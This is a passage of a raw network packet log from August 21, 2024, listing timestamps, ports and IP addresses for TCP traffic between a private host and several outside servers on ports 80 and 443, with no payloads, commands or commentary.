Aug 21, 2024 08:32:16.910366058 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910371065 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910376072 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910382986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910393000 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910398006 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.910398006 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910403967 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910406113 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.910410881 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.910434961 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.910459042 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911262035 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911271095 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911277056 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911282063 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911287069 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911310911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911322117 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911323071 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911329985 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911339998 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911340952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911345959 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911355972 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911359072 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911362886 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911367893 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911372900 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911377907 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911381006 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911384106 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911400080 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911405087 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911405087 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911411047 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911417007 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911422014 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911422968 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911428928 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911442041 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911470890 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911514997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911526918 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911533117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911542892 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911547899 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.911551952 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911575079 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911597967 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.911803961 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.911823988 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.911914110 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.911914110 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.911930084 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.912020922 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.912034988 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.912050962 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.912096024 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.912108898 CEST	443	49732	162.159.130.233	192.168.2.6
Aug 21, 2024 08:32:16.912131071 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.912166119 CEST	49732	443	192.168.2.6	162.159.130.233
Aug 21, 2024 08:32:16.931833029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.931843042 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.931853056 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.931922913 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.931929111 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.931935072 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.931940079 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.931946993 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.931978941 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932010889 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932446957 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932456970 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932470083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932476044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932534933 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932534933 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932578087 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932585001 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932596922 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932602882 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932607889 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932612896 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932620049 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932625055 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932631016 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932631016 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932651997 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932682991 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932682991 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932816982 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932828903 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932835102 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932847023 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932852030 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932862997 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932868958 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932876110 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932888031 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932893038 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932895899 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932899952 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932907104 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932914972 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932919979 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932929039 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932931900 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932950974 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.932966948 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.932969093 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.933001041 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.933012009 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.933044910 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.933077097 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.933100939 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.933109045 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.933120012 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.933125973 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.933155060 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.933183908 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.954085112 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.954093933 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.954106092 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.954205036 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.954240084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.954246044 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.954261065 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.954267025 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.954294920 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.954329014 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.974632978 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974652052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974658012 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974663019 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974668980 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974680901 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974687099 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974734068 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.974760056 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.974786997 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974793911 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974805117 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974809885 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974821091 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974826097 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974838018 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974843025 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974848986 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.974867105 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.974867105 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.974884033 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.975038052 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975044966 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975058079 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975065947 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975076914 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975081921 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975089073 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975100994 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975106955 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.975107908 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975112915 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975119114 CEST	80	49722	162.241.203.25	192.168.2.6
Aug 21, 2024 08:32:16.975141048 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.975166082 CEST	49722	80	192.168.2.6	162.241.203.25
Aug 21, 2024 08:32:16.977905035 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.977916002 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.977921963 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.977969885 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.977976084 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.977988005 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.977993965 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.978008986 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.978044033 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.978044033 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.978105068 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.978111029 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.978121996 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.978127956 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.978133917 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.978146076 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.978151083 CEST	80	49720	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.978159904 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.978183031 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.978214025 CEST	49720	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987205029 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987234116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987241030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987272024 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987278938 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987292051 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987327099 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987354040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987361908 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987432957 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987438917 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987445116 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987445116 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987445116 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987457037 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987466097 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987479925 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987517118 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987548113 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987554073 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987569094 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987610102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987624884 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987624884 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987653971 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987670898 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987682104 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987714052 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987735987 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987760067 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987768888 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987777948 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987785101 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987828970 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987828970 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987883091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987891912 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987903118 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987907887 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987912893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987919092 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987925053 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.987942934 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987977982 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.987977982 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988184929 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988195896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988202095 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988207102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988217115 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988221884 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988234043 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988240004 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988245964 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988250971 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988251925 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988262892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988270044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988276005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988281012 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988286972 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988293886 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988293886 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988329887 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988329887 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988524914 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988532066 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988543034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988548040 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988553047 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988564968 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988575935 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988580942 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988581896 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988589048 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988595963 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988615990 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988641977 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988815069 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988821030 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988833904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988840103 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988850117 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988854885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988859892 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988873959 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988879919 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988884926 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988895893 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988903999 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.988914013 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988914013 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988945007 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.988984108 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989115000 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989124060 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989135027 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989140034 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989145041 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989151955 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989159107 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989164114 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989176989 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989182949 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989190102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989192009 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989202976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989218950 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989248991 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989249945 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989424944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989432096 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989445925 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989451885 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989463091 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989468098 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989479065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989485025 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989490986 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989495039 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989499092 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989504099 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989516973 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989537954 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989567041 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989567995 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989758015 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989767075 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989777088 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989782095 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989787102 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989799976 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989805937 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989810944 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989816904 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989818096 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989821911 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989830017 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989836931 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989850044 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989856005 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.989867926 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.989892960 CEST	49719	80	192.168.2.6	147.45.44.104
Aug 21, 2024 08:32:16.990076065 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990094900 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990106106 CEST	80	49719	147.45.44.104	192.168.2.6
Aug 21, 2024 08:32:16.990114927 CEST	80	49719	147.45.44.104	192.168.2.6
